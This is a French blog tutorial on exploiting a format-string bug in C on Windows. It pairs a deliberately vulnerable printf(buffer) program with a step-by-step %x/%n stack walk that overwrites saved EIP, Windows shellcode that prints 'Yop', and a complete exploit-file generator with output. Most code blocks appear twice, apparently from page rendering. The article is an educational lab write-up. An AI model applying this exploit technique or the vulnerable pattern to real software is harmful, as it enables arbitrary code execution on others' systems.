Le but de cet article sera d'exploiter une vulnérabilité de type format string en C.
Pour nous mettre dans le bain, imaginez le code suivant :
#include <stdio.h>
int main(int argc, char **argv) {
char buffer[] = "coucou";
printf("%s",buffer);
return 0;
}
int main(int argc, char **argv) {
char buffer[] = "coucou";
printf("%s",buffer);
return 0;
}
(Désolé si y'a pas d'indentation, l'affichage généré sur le blog est un peu pourri).
Le programme ne fait absolument rien d'anormal. Il se contente d'afficher "coucou". Mais imaginons le cas suivant :
#include <stdio.h>
int main(int argc, char **argv) {
char buffer[] = "coucou";
printf(buffer);
return 0;
}
int main(int argc, char **argv) {
char buffer[] = "coucou";
printf(buffer);
return 0;
}
Le programme affiche également coucou. Mais si nous pouvions contrôler les données inscrites dans le buffer ? On pourrait écrire n'importe quoi, comme des %x, %d etc etc... Et ça afficherait des nombres auxquels on ne s'attendrait pas, puisqu'il n'y a pas plus d'un argument dans la fonction printf.
Vous pigerez d'où vient l'erreur :
printf(buffer);
Je vous propose un code vulnérable qui va lire notre buffer à partir d'un fichier (pompé sur http://www.ghostsinthestack.org) :
#include <tdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main(void) {
int fd, i;
char buffer[1024];
fd = open("texte.txt", O_RDONLY);
if (fd < 0) exit(0);
read(fd, buffer, 1024);
printf(buffer);
close(fd);
return 0;
}
#include <stdlib.h>
#include <fcntl.h>
int main(void) {
int fd, i;
char buffer[1024];
fd = open("texte.txt", O_RDONLY);
if (fd < 0) exit(0);
read(fd, buffer, 1024);
printf(buffer);
close(fd);
return 0;
}
Le programme va lire le flux dans texte.txt et l'afficher via printf() directement ; c'est-à-dire sans passer par "%s" pour afficher ce buffer.
Commençons par mettre un petit %x dans notre texte.txt et lançons le programme :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb60
22fb60
D'où vient cette valeur ? La réponse en image :

Comme le montre la pile, le %x correspond à la valeur juste en-dessous de "format", qui correspond, elle-même, à notre chaîne de caractères formatée. Si nous mettons donc "%x %x" dans texte.txt, on devrait parvenir à afficher le 400 juste en-dessous :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb60 400
22fb60 400
Tout se tient. C'est là que vous vous dites "mais en quoi c'est une faille ?". Eh bien, il existe une méthode de formatage distincte : %n. Cette directive est remplacée par le nombre de caractères affichés en dur avant elle-même et est écrite dans le pointeur fourni en argument adéquat. Cela se fait via l'instruction suivante :
77C12AC4 8908 MOV DWORD PTR DS:[EAX],ECX
Dit comme ça, ça doit pas forcément rentrer. Faisons un code pour expliquer le tout :
#include <stdio.h>
int main(int argc, char **argv) {
int n;
printf("foobar%n\n",&n);
printf("%d\n",n);
return 0;
}
int main(int argc, char **argv) {
int n;
printf("foobar%n\n",&n);
printf("%d\n",n);
return 0;
}
Ce programme produit le résultat qui suit :
C:\Documents and Settings\Geoffrey\C\FormatString>example.exe
foobar
6
foobar
6
%n se contente donc d'enregistrer, dans un espace mémoire, le nombre de caractères affichés plus tôt.
Supposons que nous omettions le second argument de printf() dans notre exemple ci-dessus. Le %n écrirait alors à une autre adresse mémoire que nous ne contrôlons pas nécessairement. Le but de l'exploitation de la faille est de faire en sorte que %n écrive sur la sauvegarde d'EIP une adresse qui pointera sur notre shellcode.
Pour que %n écrive sur la sauvegarde d'EIP, il faut afficher suffisamment de %x avant (ou de %d, c'est à vous de voir) pour que %n corresponde à une valeur de plus en plus "profonde dans la pile". Cette valeur correspondra, tôt ou tard, à notre "buffer" puisqu'il est présent dans la pile. Comme si on retombait sur notre chaîne.
Allez, un exemple pour décrasser tout ça : mettez "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" dans texte.txt. Voici le résultat :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
22fb604004012be00000001078257825782578257825782578257825782578257825782578257825
7825782578257825782578257825782578257825782578251a00187c931d64↑
22fb604004012be00000001078257825782578257825782578257825782578257825782578257825
7825782578257825782578257825782578257825782578251a00187c931d64↑
Il y a une flêche qui pointe vers le haut qui est apparue. Ca signifie "Big up". Non, plus sérieusement, observez les 7825 en série. 0x78 et 0x25 - valeurs hexadécimales - correspondent, respectivement, à %x. On en déduit que nous parcourons la pile jusqu'à retomber sur notre chaîne. L'idée est de doser suffisamment de %x et de mettre, quelque part, des AAAA afin que le %n pointe sur ses AAAA même. Pour ma part, j'ai ça :
ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nAAAA
Rassurez-vous, les possibilités sont multiples. Les f ne veulent rien dire, j'aurais très bien pu mettre b ou w. Ils servent à faire en sorte que la chaîne dure soit assez longue afin que %n pointe sur les AAAA. Regardez donc par vous-même :

Tous les %x pointent sur eux-mêmes - on retombe sur notre chaîne - et %n sur 41414141. Il va donc falloir remplacer cette adresse par la sauvegarde d'EIP. Et %n pourra y écrire une adresse qui pointe sur un shellcode.
Lorsque nous traçons printf, la sauvegarde empilée est pointée à l'adresse 0022FB2C (chez moi, en tout cas) :

On remplacera donc AAAA par cette fameuse adresse qui sera dépilée dans EIP à la fin de la fonction printf (l'instruction ret s'en charge).
Le dernier problème : la longueur de la chaîne relative avant %n. Il faut qu'elle soit égale à l'adresse de notre shellcode. Supposons qu'on mette notre shellcode juste après le AAAA. Voici un shellcode qui affiche "Yop" à l'aide d'un simple printf :
char sh[] =
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi
// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call
// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"
// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call
// "Yop",255
"\x59\x6F\x70\xFF";
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi
// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call
// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"
// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call
// "Yop",255
"\x59\x6F\x70\xFF";
N'oubliez pas de remplacer les adresse des APIs par les votres. Elles diffèrent selon les systèmes d'exploitation.
Pour connaître l'adresse d'une fonction dans une DLL :
arwin.exe.
En action :
C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x7c801d77 in kernel32.dll
C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cdea in kernel32.dll
C:\Documents and Settings\Geoffrey\Bureau>arwin msvcrt.dll printf
arwin - win32 address resolution program - by steve hanna - v.01
printf is located at 0x77c1186a in msvcrt.dll
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x7c801d77 in kernel32.dll
C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cdea in kernel32.dll
C:\Documents and Settings\Geoffrey\Bureau>arwin msvcrt.dll printf
arwin - win32 address resolution program - by steve hanna - v.01
printf is located at 0x77c1186a in msvcrt.dll
Bien, maintenant qu'on a nos adresses, revenons à notre plan d'attaque :
ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n[pointeur sauvegarde eip][shellcode]
Il va donc falloir jouer sur la taille de la chaîne avant %n. On peut jouer sur un %x pour qu'il prenne plus de place ; par exemple, %2x. Cependant, en ajoutant le 2, on incrémente la chaîne d'un caractère, et décalage dans la pile... On enlève donc un f au début.
On va commencer par faire un programme qui va écrire notre buffer dans le fichier texte.txt :
#include <stdio.h>
int main() {
char buffer[] = "ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
"AAAA"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi
// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call
// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"
// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call
// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}
int main() {
char buffer[] = "ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
"AAAA"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi
// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call
// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"
// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call
// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}
On exécute le code, puis on relance notre programme vulnérable avec un breakpoint sur la fonction printf() :

On voit bien les op-codes de notre shellcode en-dessous de 0x41414141. Le shellcode est donc adressé à 0x0022FBB4. La taille de la chaîne formatée doit donc être de 22FBB4 octets, soit, en décimal, 2292660 octets. Essayons donc avec :
fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292660x%nAAAA[shellcode]
J'ai dosé le nombre de f de sorte à obtenir : "Access violation when writing to [41414141], ... ...". On en profite pour regarder ECX, qui contient le nombre d'octets retourné par %n : "0022FC77". Ca n'est pas encore ça. De plus, le shellcode est désormais à 0x0022FBB8. Trouver le juste milieu n'est pas mince affaire.
Pour cela, on dose le nombre de f de sorte à provoquer une violation d'accès et voir la valeur d'ecx. Il faut qu'elle ait 0x0022FBB8, donc il faut doser sur le nombre décimal "2292660".
Après un petit acharnement, j'obtiens cette chaîne :
fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n
Voici donc mon exploit final :
#include <stdio.h>
int main() {
char buffer[] = "fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n"
//"AAAA"
"\x2C\xFB\x22\x00"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi
// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call
// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"
// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call
// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}
int main() {
char buffer[] = "fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n"
//"AAAA"
"\x2C\xFB\x22\x00"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi
// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call
// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"
// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call
// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}
Résultat :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
fffffffffff22fb604004012be0000000106666666666666
666256666662578257825782578257825782578257825782
578257825782578257825782578257825782578257825782
578257825782578257825782578257825783232257837343
239
[...]
6e257830,¹"Yop
fffffffffff22fb604004012be0000000106666666666666
666256666662578257825782578257825782578257825782
578257825782578257825782578257825782578257825782
578257825782578257825782578257825783232257837343
239
[...]
6e257830,¹"Yop
Tiens, pourquoi il dit "yop", ce con ? ;)
On a réussi à sauter sur notre shellcode. Vous n'êtes pas convaincus ? Invoquez une MessageBox(), ça serait plus amusant !
Conclusion
0vercl0k & moi sommes d'accord : les format strings, c'est chiant. Ici, on a vu une exploitation lors d'une injection par fichier. Effectivement, on a un null-byte dans notre chaîne. Je n'ai donc pas essayé avec une injection en ligne de commande si c'est pour coder un exploit, mais c'est tout autant possible.
Merci à pendule pour m'avoir supporté, et j'espère que cet article ait éclairé la lanterne de certains...
Liens : Url de support de l'article
http://doc.bughunter.net/format-string/exploit-fs.html, tutoriel anglais très détaillé.
Geo